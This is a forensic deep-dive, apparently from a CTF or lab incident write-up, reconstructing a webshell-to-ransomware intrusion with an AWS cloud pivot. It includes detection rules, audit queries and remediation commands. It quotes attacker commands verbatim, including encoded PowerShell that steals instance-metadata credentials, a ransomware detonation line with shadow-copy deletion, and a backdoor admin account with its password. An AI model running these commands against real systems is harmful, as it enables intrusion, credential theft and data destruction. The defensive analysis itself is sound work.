DD4.2 — The webshell is the delivery channel for ALL post-foothold commands

After so.aspx landed at 18:51:42, command delivery pivoted from ?url= GETs to POST /so.aspx:

// IIS · POST /so.aspx from 172.236.127.251
19:08:42  POST /so.aspx   → spawns powershell "whoami"
19:10:06  POST /so.aspx   → powershell "hostname"
19:10:17  POST /so.aspx   → powershell "ipconfig"
19:10:33  POST /so.aspx   → powershell "tasklist"
19:10:53  POST /so.aspx   → powershell "netstat"
19:12:01  POST /so.aspx   → powershell "nltest /dclist:"
19:12:30  POST /so.aspx   → powershell "nslookup LAF-dc01.LAF.local"
19:40:36  POST /so.aspx   → (post-SYSTEM command)

For the IMDSv2 theft, the delivery changed again — PowerShell -enc payloads tunneled through the injection GET:

// 21:25:36  CheckStatus.aspx?url=google.com&&powershell -enc SQBuAHYAbwBrAGUA...
//           base64 → UTF-16LE → "Invoke-RestMethod -Method Put -Uri 'http://169.254.169.254/latest/api/tok…"
// 21:28:07  same pattern → "Invoke-RestMethod -Method Get -Uri 'http://169.254.169.254/latest/meta-data/…"
// 21:29:20  same pattern → "Invoke-RestMethod -Method Get -Uri '…/iam/security-credentials/iam_role_iisserver'…"

What this adds: the IMDSv2 three-step chain documented in Addendum X wasn't interactive typing — it was three base64-encoded PowerShell payloads delivered via the webshell. The ps_transcript events on IIS are the execution receipts of webshell-delivered commands. Every post-foothold action in this campaign is webshell-carried.

DD4.3 — Chrome saved-login forensics (T1555.003 targets)

DD4.4 — Mark-of-the-Web ADS on attacker downloads

Sysmon EID 15 captured Zone.Identifier ADS on two attacker-downloaded installers:

What this adds: both installers came from the public internet via browsers (not certutil/curl). Zone.Identifier contains HostUrl= — parsing these ADS in a real IR would give the exact download URL. The operator didn't strip them (a common evasion technique), so forensic attribution is clean.

DD4.5 — Attacker recon'd Donny's personal folders via the injected Explorer

// SVR01 · LNK source · 2026-03-08 attack window
20:08:07   LNK target: C:\Users\donny\Downloads
20:08:07   LNK target: C:\Users\donny\work\MECM       ← Donny's SCCM/MECM work folder

What this adds: Addendum PI.3 documented notepad opens of C:\Share\ docs at 20:16+. DD4.5 adds an earlier Explorer-driven reconnaissance step at 20:08:07 — the beacon navigated Donny's Downloads and work\MECM folders. MECM (Microsoft Endpoint Configuration Manager, aka SCCM) is the org's patching/deployment system — a config file in there gives the attacker inventory of every managed host plus deployment tooling.

DD4.6 — C:\ProgramData\list.txt — the cab-staging file we hadn't named

LNK artifacts show C:\ProgramData\list.txt was in LAFAdmin's Recent-items folder. Sysmon shows how it was built:

// SVR01 · Sysmon EID 1 · makecab/notepad cycle
20:21:09   msupdate.exe (PID 4656, SHA256 59A1045B…A12 = makecab)
20:22:14   notepad.exe
20:22:31   msupdate.exe
20:23:41   notepad.exe
20:24:18   notepad.exe
20:24:23   msupdate.exe
20:25:00   msupdate.exe

What this adds: the operator cycled makecab and notepad four times between 20:21 and 20:25. The pattern (cab-build → open output in notepad → adjust → rebuild) is consistent with iteratively building a compressed archive while hand-editing list.txt as the makecab directive file. This ties Addendum F (SFTP exfil of data.cab) to a specific file-selection step not previously surfaced.

DD4.7 — Browser cookie inventory — normal user footprint, no attacker-relevant tokens

Negative finding (important): no AWS-console cookies, no Dashlane vault tokens, no bank sessions in the cookie store. The cloud pivot HAD to come from IMDSv2 theft because browser-stored tokens didn't offer an alternative path. Confirms the tradecraft choice in Addendum X.

Net DD4 contribution: seven new evidence bundles — three attacker IPs surfaced (DD4.1), webshell confirmed as the universal delivery channel with base64 decoded (DD4.2), Chrome-saved-login cross-corroboration of Subpoena-2 (DD4.3), MotW provenance on downloaded installers (DD4.4), previously-undocumented Donny-folder recon at 20:08:07 (DD4.5), named the makecab staging file list.txt (DD4.6), and established via negative finding that the cloud pivot wasn't enabled by browser-cookie theft (DD4.7).

DD5. Fifth-pass — the 21:58 "anti-rollback gap" was a FAILED detonation (shell-syntax bug), DC02 session is GUI-driven, SYSVOL drop via Explorer

DD5.1 — The 21:58 pre-stage was a failed first detonation (shell-syntax bug)

Evidence bundle for Addendum T's lead finding. The 10-minute window between pre-stage (21:58) and successful encryption (22:08:40) has a clean explanation visible in the exact command line the operator queued:

// WS02 · Sysmon EID 1 @ 21:58:34.024 · PID 33576 (SYSTEM) — task iEMKOmOw trigger
cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat ; \\laf-dc02\sysvol\IamBatman.exe encrypt C:\ > C:\Windows\Temp\iEMKOmOw.tmp 2>&1

                                    ^
                                   bash-style command separator
                                   cmd.exe does NOT treat `;` as a separator

What happened: cmd.exe consumes ; as a literal character — not a command separator. cmd's separators are & or &&. Only the first token (sysAV.bat) executed; the text after the semicolon (IamBatman.exe encrypt C:\) became a stray argument that sysAV.bat ignored. Result: sysAV.bat ran (firing vssadmin delete shadows + 2× bcdedit), but IamBatman.exe never launched.

Proof via negative evidence: corpus query for .bWqQUx file creation on WS02 between 21:58:00 and 22:08:40 returns zero rows.

SELECT COUNT(*) FROM events
 WHERE host='WS02' AND target_filename LIKE '%.bWqQUx'
   AND time_utc >= '2026-03-08T21:58:00' AND time_utc < '2026-03-08T22:08:40';
-- result: 0

At 22:08:39 the operator registered a second scheduled task (mIglpUCO) to re-attempt detonation. At 22:08:40.416 IamBatman.exe actually fired — encryption started. The 10-minute gap is an operator shell-syntax bug, not deliberate anti-rollback strategy.

Nuance to Addendum T / Detective / Master Timeline: an "anti-rollback pre-stage" framing would be misleading. This was a failed first detonation that still did delete shadows + disable recovery (because sysAV.bat ran) — same victim outcome, different intent. Operator tradecraft is slightly less disciplined than the headline suggests; a bash-syntax habit bled into a cmd-prompt target.

DD5.2 — IamBatman.exe was dropped to SYSVOL via Explorer GUI, not cmd-line

Sysmon EID 11 captures the SYSVOL drop at 21:03:54 with Image=C:\Windows\explorer.exe PID 3272. Explorer on DC02 wrote IamBatman.exe to C:\Windows\SYSVOL\sysvol\. Explorer-as-creator means GUI interaction: drag-and-drop, right-click Save As, or clipboard paste — not a cmd.exe/powershell write. No earlier IamBatman.exe file-create anywhere in the corpus. Most likely: RDP clipboard paste (rdpclip.exe ferrying bytes from the operator's workstation into the DC02 Explorer window) or Save-As from a browser dialog into SYSVOL.

DD5.3 — DC02 operator session is GUI-dominated: 13 commands, 83 min, 69-min idle gap

What this adds: DC02 session is GUI-dominated (Advanced IP Scanner + Notepad ×4 + Explorer GUI). No cmd-line tools other than setup wrappers. The 69-min idle gap aligns precisely with other-host activity (SVR01 LogDel.bat at 21:08, IIS IMDSv2 21:25-29, cloud pivot 21:42-49, WS02 RDP 21:57). Multi-host juggling confirmed.

DD5.4 — Refined external-IP attribution: one threat actor

• 172.236.127.251 Linode · Linux Firefox/140 — attacker's delivery + C2 VPS. All injection probes + POST /so.aspx + IMDSv2 payloads + SFTP exfil.
• 71.205.100.56 Comcast US · Windows Firefox — Donny's IP (per 19:41:56 RDP). Benign app-testing 2026-03-05/07/08.
• 216.82.9.162 Level 3 · Windows Firefox/147 — no malicious activity. Page-enum only. Most likely a benign scanner/bot.

Conclusion: one threat actor, four-IP operational footprint (172.236.127.251 delivery · 173.230.136.180 C2 · 198.51.100.10 RDP origin · 212.8.249.213 cloud egress). Other IPs are noise.

DD6. Sixth-pass — CTF author identified · NullAdmin spray · dormant DA backdoor · call-home delay · WS02 retry

DD6.1 — 216.82.9.162 is the CTF author's IP (AWS Root + MFA), NOT a scanner

This corrects DD4.1 and DD5.4. Earlier addenda labeled 216.82.9.162 as "unattributed third-party / benign scanner". Wrong. CloudTrail shows the IP performing AWS Root-user admin operations with MFA during 2026-02-23 through 2026-03-01 — the lab/scenario provisioning window:

// CloudTrail · sourceIPAddress 216.82.9.162 · Feb 23 → Mar 1 2026
userIdentity.type           : Root                                     ← AWS root
userIdentity.arn            : arn:aws:iam::464381121764:root
userIdentity.mfaAuthenticated: true
Events observed:
   ListFunctions20150331     (Lambda)
   ListManagedNotificationEvents (notifications)
   DescribeMetricFilters     (CloudWatch Logs)
   GetInstanceProfile        (IAM)
   GetRole                   (IAM)
   GetBucketAcl              (S3)
   ListIndices / ListMeshes / ListClusters / ListResources / ListApplications
   PutObject                 (S3 · populating sfcu-records bucket)

Who this is: the scenario builder — likely Barry (of barrygoodtech.com branding) or a member of the Null404 team — populating the AWS environment with the target S3 bucket contents, IAM role iam_role_iisserver, pre-existing user jb_aws_cli, Lambda functions, and the CloudWatch / CloudTrail telemetry wiring. Every root-MFA event from this IP is legitimate build activity, not attack.

Why it appeared in IIS logs on attack day: the same 216.82.9.162 hit barrygoodtech.com at 19:08:12 and 21:57:35 — the author verifying the scenario was live. Page-enum only, zero command-injection attempts. Noise we should've recognised earlier.

Attribution now complete: 6 external IPs total in the corpus — 4 attacker-operated (172.236.127.251 Linode delivery+SFTP · 173.230.136.180 Linode C2:8443 · 198.51.100.10 WireGuard VPN for IIS non-interactive chain · 212.8.249.213 WorldStream NL for off-instance cloud egress), 1 CTF-author (216.82.9.162 Level 3 · Root+MFA lab builder), 1 legitimate-user (71.205.100.56 Comcast = Donny). DD10 later split 198.51.100.10 from 198.51.100.3 (operator workstation for interactive RDP to SVR01) — so 5 attacker-operated IPs + 1 author + 1 user = 7 total once the WireGuard-range split is counted. No unknowns.

DD6.2 — NullAdmin username-spray preceded LAFAdmin success on WS01 and DC02

Before using harvested LAFAdmin credentials, the attacker tried NullAdmin as a username guess on two hosts:

// Security EID 4625 · from 198.51.100.10 · LogonType 3 NTLM
WS01 20:34:28.879  TargetUser=NullAdmin · SubStatus 0xc0000064 "username does not exist"
DC02 20:44:44.606  TargetUser=NullAdmin · same SubStatus · IpPort 50091

// 17 seconds after the WS01 fail:
WS01 20:34:45.261  TargetUser=LAFAdmin · 4624 Type 3 · SUCCESS (harvested hash)
WS01 20:35:29.330  TargetUser=LAFAdmin · 4624 Type 10 · RDP CONNECT

What this adds: the operator's lateral-movement tool tried NullAdmin first — a guess at a plausible admin-account name given the null404 CTF theme. Both attempts failed because NullAdmin doesn't exist in LAF. The tool then fell back to LAFAdmin with the LSASS-dumped NTLM hash 17 seconds later on WS01, and RDP succeeded 44 seconds after the spray. This is a username-spray pattern, not a surgical strike. Either the tool was impacket with a default user list, or the operator manually typed a guess before reaching for the real creds.

DD6.3 — serviceaccount Domain Admin account was created but NEVER USED

The operator created LAF\serviceaccount at 20:02:14 (Sysmon EID 1 net user … /add /domain) and added it to Domain Admins at 20:03:05 (Security 4728). Checking every authentication event for this account post-creation:

SELECT COUNT(*) FROM events
 WHERE eid IN (4624, 4625, 4768, 4769) AND data_json LIKE '%serviceaccount%'
   AND time_utc >= '2026-03-08T20:02:00';
-- result: 0   (no logons, no TGT requests, no TGS requests)

Finding: the account was planted but never used during the observed attack window. This makes it a dormant persistence backdoor: Domain Admin privilege, known cleartext password (P@ssw0RD1!), zero trace of actual use. If the incident responders miss the 4728 group-membership event and the 4720 user-create event (both in the wiped-channels scope from Addendum H), serviceaccount remains active in AD indefinitely. Highest-priority cleanup item per Addendum PR.

DD6.4 — Beacon call-home delay: 13 minutes 20 seconds from first launch to first network connection

The iis.exe beacon launched on IIS at 18:52:30 (Sysmon EID 1 PID 4136). First outbound network connection from that PID (Sysmon EID 3) didn't fire until 19:05:51 — 13 m 20 s later. During that gap, the webshell re-downloaded and re-launched iis.exe at 19:02:01 / 19:02:23 / 19:06:44 because the operator appeared to think the initial beacon hadn't fired yet.

What this adds: the beacon has an initial sleep/retry window — probably a deliberate anti-sandbox delay, or a random jitter that happened to land on the long end. Operator behaviour signal: impatient — they kept re-launching the beacon before the first callback arrived, which means they didn't know (or didn't trust) the beacon's configured call-home interval. This is consistent with an operator using a pre-built Unknown C2 agent with default config rather than one they'd tuned personally.

DD6.5 — WS02 first RDP attempt failed at 21:55:48, retried successfully 1 m 25 s later

Before the successful WS02 RDP at 21:57:13, there was a failed attempt:

// WS02 · Security EID 4625 @ 21:55:48.990
SubjectUserSid      : S-1-5-18 (LAF-WS02$)       ← machine account, not user
TargetUserName      : -                          ← null/anonymous
Status              : 0xc000006e                 ← "Logon type restricted"
LogonType           : 10                         ← RDP
IpAddress           : 10.3.10.12 (SVR01 internal pivot)
ProcessName         : svchost.exe

// 1 m 25 s later:
WS02 · Security EID 4624 @ 21:57:13.531 · TargetUser=LAFAdmin · Type 10 · SUCCESS

What this adds: the attacker's first RDP attempt from SVR01 to WS02 failed with a restriction-violation (Status 0xc000006e — usually "workstation logon restriction" or "logon type not allowed"). Most likely cause: WS02 hadn't yet had DisableRestrictedAdmin=0 applied, so PtH-over-RDP was blocked. The attacker pushed the registry flip (Addendum D @ 21:57:07), then retried 6 seconds later and it worked. Operator agility: they noticed the failure and fixed the policy before re-attempting.

DD7. ⚠ MAJOR CORRECTION — cloud persistence succeeded on 3 users, not blocked by quota

Addendum B / DW / ES / Detective / Master Timeline all say "cloud persistence attempt failed with LimitExceededException, quota saved the environment". That is materially wrong. The quota blocked only jb_aws_cli at 21:45:38. The attacker moved to the next target 13 seconds later and succeeded on THREE other users.

DD7.1 — The full CreateAccessKey sequence from 212.8.249.213

// CloudTrail · sourceIPAddress 212.8.249.213 · userIdentity = role iam_role_iisserver
21:45:38  CreateAccessKey  userName=jb_aws_cli   → LimitExceededException  (quota exhausted)
21:45:51  CreateAccessKey  userName=donnieworks  → SUCCESS  responseElements.accessKey present
21:46:04  CreateAccessKey  userName=doctorderm   → SUCCESS  responseElements.accessKey present
21:46:14  CreateAccessKey  userName=coolcat      → SUCCESS  responseElements.accessKey present

Three long-term AWS access keys were successfully created for IAM users donnieworks, doctorderm, and coolcat. Each responseElements.accessKey field contains the created key-id + status (Active). These are long-term credentials with no TTL, unlike the 6-hour STS role credentials the attacker had been using. A long-term key remains valid until explicitly revoked — weeks, months, or years after the incident.

DD7.2 — Did the attacker use the stolen keys?

In the observed CloudTrail window (through 2026-03-08 end), the attacker did not switch to the new keys — they continued operating as the iam_role_iisserver STS role for the remaining cloud activity (bucket enum, 164 S3 GetObjects, etc.). The three new keys are created but dormant in the corpus.

This is worse, not better. Unused keys are harder to notice during post-incident audit because there's no anomalous-use pattern to flag. A defender reviewing the CloudTrail with "what did the attacker touch" queries will see the 164 S3 GetObjects but may miss the three CreateAccessKey responseElements. Until someone explicitly enumerates every IAM user's access keys and timestamps, the three long-term keys are dormant post-incident persistence.

DD7.3 — Remediation (IMMEDIATE)

# For every IAM user, audit all keys + timestamps:
aws iam list-users --query 'Users[*].UserName' --output text \
  | xargs -I {} aws iam list-access-keys --user-name {} --output table

# Specifically check these three:
aws iam list-access-keys --user-name donnieworks
aws iam list-access-keys --user-name doctorderm
aws iam list-access-keys --user-name coolcat

# Expected: each should show an access key CreateDate of 2026-03-08T21:45-21:46Z.
# Revoke + delete any key created in that window:
aws iam update-access-key --user-name <user> --access-key-id <id> --status Inactive
aws iam delete-access-key --user-name <user> --access-key-id <id>

# Also rotate the role's trust policy and deny iam:CreateAccessKey from it:
aws iam put-role-policy --role-name iam_role_iisserver \
  --policy-name DenyAccessKeyCreation \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"iam:CreateAccessKey","Resource":"*"}]}'

DD7.4 — Full IAM reconnaissance sequence the attacker performed

Between GetCallerIdentity (21:42:11) and the first CreateAccessKey (21:45:38) — the 3 m 27 s cloud-reconnaissance phase — the attacker enumerated the role's capabilities and listed IAM users to find persistence targets:

DD7.5 — Bucket enumeration included CloudTrail logs bucket and the author's personal test bucket

After establishing persistence, the attacker enumerated S3 buckets looking for exfil targets. Full sequence:

21:46:26  ListBuckets
21:47:25  ListObjects   aws-cloudtrail-logs-464381121764-c4e35ae2   ← ATTACKER CHECKED CLOUDTRAIL BUCKET
21:47:54  ListObjects   barry-testing123123                          ← AUTHOR'S PERSONAL TEST BUCKET
21:48:13  ListObjects   sfcu-records                                  ← TARGET BUCKET (chose this)
21:49:11  ListObjects   sfcu-records (repeat / full listing)
21:49:16→19  GetObject × 164   sfcu-records/Accounting/... + Executive_Suite/... + HR/... + Legal/... etc

What this adds:

• 21:47:25 ListObjects on the CloudTrail logs bucket — the attacker looked at CloudTrail. They didn't GetObject or PutObject (which would be tampering), but they enumerated it. This is a defense-evasion reconnaissance step. The fact that the list operation itself generated a CloudTrail event is the irony/signature — you can't hide from CloudTrail by looking at CloudTrail.
• 21:47:54 barry-testing123123 — exposes the author's personal/scratch bucket name. Not a leak-worthy target but confirms the CTF author was prep-testing with this bucket. Attacker ignored it as noise.
• 21:48:13 sfcu-records — the attacker chose this bucket AFTER enumerating all three. Decision based on bucket name (SFCU = likely Saint Francis Credit Union or similar pseudo-financial branding) or content pattern.

DD7.6 — What the corrections now look like across the writeup

Five places in the writeup claim "cloud persistence failed / quota saved us". All need reading as: cloud persistence SUCCEEDED on 3 of 4 attempts. The quota only blocked one. The attacker now has 3 live long-term access keys.

Residual-risk reclassification: three live long-term AWS access keys are now the HIGHEST-SEVERITY residual artifact from this incident — worse than serviceaccount in AD (Addendum PR) because they have no TTL, can be used from anywhere, and won't fire any detection until they're used. A real IR response for this environment must audit all IAM access keys and revoke anything created 2026-03-08 21:45-21:46 from 212.8.249.213.

DD8. Eighth-pass deep-dive — four findings: OS-recon ticks, the CTF author live on console, post-exfil AWS sweep, and transcript automation pattern

After DD7's cloud-persistence correction the question was: what else is hiding in the unified corpus that we haven't attributed? This pass re-queries ps_transcript (IIS) and the cloudtrail table from four different angles and surfaces four concrete additions — one new attacker TTP step, one non-attacker actor attribution, one post-exfil enumeration stage that the v2 timeline did not contain, and one automation-pattern signature that tightens the webshell identification.

DD8.1 — OS-version recon was the first thing the attacker did after SYSTEM

SCM-triggered SYSTEM elevation fired at 19:38:02Z (Addendum C). Five seconds later — the first full PowerShell call from the SYSTEM-level webshell branch — the attacker asked Windows what version and build it is:

2026-03-08T19:38:07Z  LAF\SYSTEM on IIS-SERV-PROD
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' |
    Select-Object ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber |
    ConvertTo-Json -Depth 3

→ ProductName : "Windows Server 2019 Datacenter"
  BuildLabEx  : "17763.1.amd64fre.rs5_release.180914-1434"

Why it matters: this rules out the alternate hypothesis that the attacker was operating blind off a stale scan. The very first SYSTEM command is a read of the build registry — an exploit-development posture, not a generic ransomware operator. It also tells us the attacker was pre-committing to picking a next-stage payload that matches Server 2019 / 17763.1 (no 2022 features, no 2025 mitigations) — which is consistent with the 2019-compatible MinGW-w64 C2 beacon we recovered from the VAD dump.

DD8.2 — The CTF author was on the AWS console during and after the scenario (216.82.9.162)

Corpus-wide, 216.82.9.162 produced 18,035 CloudTrail events on the attack day alone. Every single one is consistent with a human being in the AWS console doing "look around / review logs" work — there is no CreateAccessKey, no PutObject, no GetObject of sfcu-records, no EC2 RunInstances. The timeline is unmistakable:

Attribution conclusion: 216.82.9.162 is the CTF author's source IP, operating the AWS console to observe the scenario. It is not a second attacker, not a defender, and not part of the intrusion chain. Every piece of writeup evidence that touched 216.82.9.162 needs to be read through this lens: a human authoring / live-observing, not a compromise. This also means "AWS console had a human watching" is a data-quality consideration for any AI / Sigma / anomaly-detector trained on this corpus — the 18,035 console events will otherwise generate spurious "authorized-user anomalous-activity" hits.

DD8.3 — Post-exfil AWS-service enumeration (Lambda / RDS / DynamoDB) was the attacker's next move after S3

The 164-object S3 GET of sfcu-records finished at 21:49:25Z. The v2 timeline implied the cloud chapter ended there. It did not. From the same source IP 212.8.249.213 in the 90 seconds after:

2026-03-08T21:50:25Z  ListFunctions20150331       # Lambda — checking for additional code to steal / backdoor
2026-03-08T21:50:59Z  DescribeDBInstances          # RDS — hunting for database targets
2026-03-08T21:51:08Z  ListTables                   # DynamoDB — hunting for table targets
2026-03-08T21:51:14Z  DescribeDBClusters           # RDS Aurora — deeper DB enumeration

Interpretation: the attacker was not stopping at the S3 grab. They followed the "all-bucket" enumeration (DD7.5) with an "all-AWS-service" pass looking for further exfil or persistence surface: serverless (Lambda), relational (RDS / Aurora), NoSQL (DynamoDB). Nothing was found to act on in this environment — but the intent was there. That materially changes the attacker-profile assessment:

• Addendum Y said "opportunistic post-AD cloud pivot." That's still true, but the pivot includes service-broad reconnaissance, not just the one bucket they hit. This is a mature operator with an AWS playbook.
• The 21:51:14 stop-time matches the transition to AD-side ransomware prep at ~22:00 — the attacker wasn't idle, they were switching chapters once AWS enumeration came up empty of additional targets.
• Any IR scope must now include: Lambda function inventory (did the attacker read function code?), RDS snapshot audit (were any snapshots taken or shared cross-account?), DynamoDB export / backup audit. The three SUCCESSFUL CreateAccessKey calls from DD7 plus this enumeration means the attacker has both the credentials and the service-list knowledge to return later.

DD8.4 — Webshell automation signature: every PS call ends with a $global:? success-check

Re-reading the full ps_transcript on IIS showed every single webshell-delivered PowerShell block is structured identically:

[primary command — whoami / hostname / tasklist / Get-ItemProperty / nltest / etc.]
$global:?      # success-check — returns True if last statement succeeded

This is not a human typing interactively. It's an automation wrapper: send-command, immediately read the success-boolean, parse the result on the C2 side, decide the next call. This pattern matches the Unknown C2 powershell / ps_execute task handler (C2 source src_beacon/commands/powershell.cpp), which wraps every remote invocation with exactly that boolean probe to populate the task-result struct. Pairing this signature with the \\.\pipe\%08lx + _Z11GetVersionsv + file.dll fingerprint from Addendum C2-Attribution pushes the Unknown C2-attribution confidence from 'very high' to conclusive — we now have both the binary-level fingerprint and the command-execution-pattern fingerprint, which are independent evidence streams.

DD8.5 — What the corpus now contains vs. what the writeup claimed before

Reproduction queries (all against /tmp/null404_bench.sqlite, source_type column as shown):

-- DD8.1 OS recon
SELECT time_utc, substr(data_json,1,200) FROM events
WHERE source_type='ps_transcript' AND host='IIS'
  AND time_utc BETWEEN '2026-03-08T19:38:00Z' AND '2026-03-08T19:38:15Z';

-- DD8.2 Author console
SELECT time_utc, json_extract(data_json,'$.event.eventName')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.sourceIPAddress')='216.82.9.162'
  AND time_utc BETWEEN '2026-03-08T19:00:00Z' AND '2026-03-08T22:20:00Z'
ORDER BY time_utc;
-- → 18,035 read-only events, all from human-console traffic

-- DD8.3 Post-exfil service enumeration
SELECT time_utc, json_extract(data_json,'$.event.eventName')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
  AND time_utc BETWEEN '2026-03-08T21:49:30Z' AND '2026-03-08T21:55:00Z';
-- → ListFunctions20150331, DescribeDBInstances, ListTables, DescribeDBClusters

PI. Process injection deep-dive — one true injection, five malfind hits, a full Explorer-driven footprint

The CreateRemoteThread finding (Addendum L) is the origin of the injection; Addendum PI documents the full footprint — every malfind-flagged PID on SVR01, triaged to confirm which are genuine and which are Volatility false-positives, plus the complete list of commands the beacon executed from inside Explorer's process space.

PI.1 — CreateRemoteThread events across the entire attack window

Queried every Sysmon EID 8 between 2026-03-08T18:00 and 2026-03-08T23:00 on every host. Result: exactly one attacker-driven injection. Everything else is Windows baseline noise:

PI.2 — Volatility malfind on SVR01: 5 PIDs flagged · only 1 confirmed

Vol3 malfind flags private-committed regions with RX/RWX permission whose bytes don't match any loaded image. On SVR01's memory dump it flagged 5 PIDs across 9 VAD regions. Byte-header triage:

PI.3 — The beacon's full operational footprint, as Explorer.exe PID 1332

LAFAdmin never RDP'd to SVR01. Her logons there are all 4624 Type-3 (network). Yet every command attributed to LAF\LAFAdmin on SVR01 between 20:02 and 21:08 has ParentImage=C:\Windows\explorer.exe. That is the beacon impersonating her user context from inside the injected Explorer process — the signature of process-injection-style token reuse. Complete list of commands the beacon ran via Explorer on SVR01:

What this table establishes about the kill chain: the injected Explorer beacon wasn't just a credential-dump vector — it drove privilege escalation, registry flips, file-share reconnaissance, exfil-tool installation, and event-log destruction. Each is detailed in its own Addendum above; Addendum PI stitches them into a single beacon-driven chain originating from PID 1332.

PI.4 — Hunt rules this reveals

• Explorer-parented process chains for users with no interactive session = strong beacon indicator. Join Security EID 4624 (interactive logon filter: LogonType 2, 10, 11) against Sysmon EID 1 (ParentImage=explorer.exe) per user; any (user, host) pair with Explorer-parented children but no interactive 4624 on that host is suspicious.
• SYSTEM → user-context thread injection via CreateRemoteThread where TargetImage is explorer.exe + StartModule="-" is the exact signature Unknown C2's SMB pivot produces. Sigma scaffold:

  title: Unknown C2 SMB-beacon injection into Explorer
  logsource: {product: windows, service: sysmon, category: create_remote_thread}
  detection:
    selection:
      EventID: 8
      SourceUser: 'NT AUTHORITY\SYSTEM'
      TargetImage|endswith: '\explorer.exe'
      StartModule: '-'
      StartFunction: '-'
    condition: selection
  level: high

• Volatility malfind triage must be byte-verified. Four of our five hits were benign browser / PowerShell JIT. Only the MZ-header hit was the real injection. Recommend: dump all malfind regions, first-2-bytes check (4D 5A = PE, otherwise disassemble), then YARA-scan.
• Notepad.exe opening share paths from a user with no interactive session is a high-confidence "operator running recon" signal — legitimate notepad usage requires UI interaction, which can't happen without a Type 2 / Type 10 logon.

DD9. Ninth-pass deep-dive — the complete SYSTEM-era PowerShell chain on IIS (3 new TTPs) + correction on a third-party IP

Re-reading the IIS ps_transcript end-to-end under the new LAF\SYSTEM context reveals three TTP steps that were not documented in v2, plus one minor cloud-IP correction. The corrected SYSTEM-era sequence is reproduced in full below — this is the authoritative list of everything the operator typed from inside the webshell after SCM-fired SYSTEM elevation at 19:38:02:

DD9.1 — Revised intent-map for the 19:38-19:42 window

What v2 called "OS recon" is actually a four-step environment fingerprint: (1) OS build → (2) AWS Nitro isolation → (3) AWS PV driver version → (4) boot/crash history. This is an AWS-native threat-actor's pre-injection checklist. It materially raises the attribution confidence on Addendum Y ("AWS-native operator") because the specific registry paths queried are things an on-prem ransomware operator would not know to read.

DD9.2 — The Ec2Launch Wallpaper LOLBIN — anti-forensic tradecraft

Instead of doing Invoke-RestMethod 169.254.169.254/... from the PowerShell host (which Defender and SIEMs flag on that literal string), the attacker got the same metadata by loading Amazon's own Ec2Launch-Wallpaper module and calling Set-Wallpaper, which reads IMDSv2 internally and pushes the result into a bitmap. The attacker never reads the bitmap — they don't need to; the registry + module side-effects tell them the instance is EC2 and the metadata service is reachable, without burning their hand on the 169.254 URL. Two hours later (21:25:35) the attacker does do the direct IMDSv2 three-step — at which point the detection risk is accepted because the credential theft is the goal of that window.

DD9.3 — The two-hour gap 19:42:14 → 21:25:35 is meaningful

Between the environment-fingerprint session and the IMDSv2 steal, there are 103 minutes of silence on IIS. Cross-referencing with other hosts during that window: this is exactly the time the attacker spent on the AD-side chain — pivoting to DC01 via PtH/RDP, running secretsdump --use-vss, staging IamBatman.exe on SYSVOL, and moving to SVR01 via sc.exe start. The attacker held the IIS webshell open (it's still the same PowerShell session; transcript continues with the same PID), paused all IIS activity while they worked AD, and returned to IIS only to drain cloud credentials right before detonation. This is operational-security discipline — an amateur would have left noisy heartbeat calls on IIS during the pivot; this operator went quiet. Addendum DD10 reconstructs this window minute by minute — what they ran on DC01 and SVR01 during the 103 silent minutes, traced from Sysmon EID 1 + service-install events.

DD9.4 — Source-IP correction: 3.137.170.225 is AWS-SSM, not attacker

Corpus-wide SELECT DISTINCT sourceIPAddress, COUNT(*) on cloudtrail for attack-day revealed a fourth high-count IP (3.137.170.225, 88 events) not mentioned in v2. All 88 are UpdateInstanceInformation / ListInstanceAssociations from an AssumedRole principal — the signature of the in-VM AWS SSM Agent doing its 5-minute heartbeat. The 3.137.0.0/16 range is AWS us-east-2 and routes to ssm.us-east-2.amazonaws.com. Not attacker traffic; adding a definitive negative here so future detectors don't false-positive on it.

DD9.5 — Updated third-party-IP census (attack-day)

Residual: the only human-attacker IP in CloudTrail on attack day is 212.8.249.213. All other high-volume IPs are either AWS-internal services or the CTF author's console. This is the definitive list; any future alerting / detection logic should be pinned against this table.

DD10. Tenth-pass — the 103-minute "silent" window reconstructed: impacket smbexec.py fingerprint on DC01 + full AD-persistence chain on SVR01

DD9.3 documented a deliberate 103-minute quiet period on IIS (19:42:14Z → 21:25:35Z) and asserted the attacker was operating AD-side during that window. DD10 is the minute-by-minute proof: every command the attacker ran on DC01 and SVR01 in that window, traced from Sysmon EID 1 + Security EID 4624 + service-install events, with specific tool attribution.

DD10.1 — Impacket smbexec.py attribution on DC01 (new evidence)

At 2026-03-08T20:08:34.977Z, DC01 Security EID 4776 + 4624 fired for LAFAdmin authenticating from 198.51.100.10 (IIS's external IP) with auth_package=NTLM / logon_process=NtLmSsp. That is NTLM Pass-the-Hash, not Kerberos. Three seconds later the attacker began the VSS-based NTDS extraction — and the exact process tree is the textbook impacket smbexec.py fingerprint:

Filesystem corroboration: MFT/USN on DC01 show C:\Windows\TEMP\execute.bat and C:\Windows\Temp\__output created and modified repeatedly during the 20:08-20:09 window, matching the service-fire cadence exactly. Both files are smbexec's fixed default temporary names — they are not used by any other common attack tool. The presence of both together, with the random-service-name pattern, is a conclusive impacket smbexec.py attribution (as opposed to psexec.py, which uses named pipes, or atexec.py, which uses Task Scheduler).

Why this matters: previously the writeup said "impacket 5-service pattern (secretsdump-style)". The specific module is now nailed down as smbexec.py, and the attacker explicitly chose --use-vss mode. This is an operator who knows that DCSync triggers 4662 Object Access with properties=DRS-Replica-Get-Changes-All, which SIEMs commonly alert on, and preferred the VSS-shadow approach that fires only generic vssadmin + cmd.exe events. Elite-tier tradecraft choice.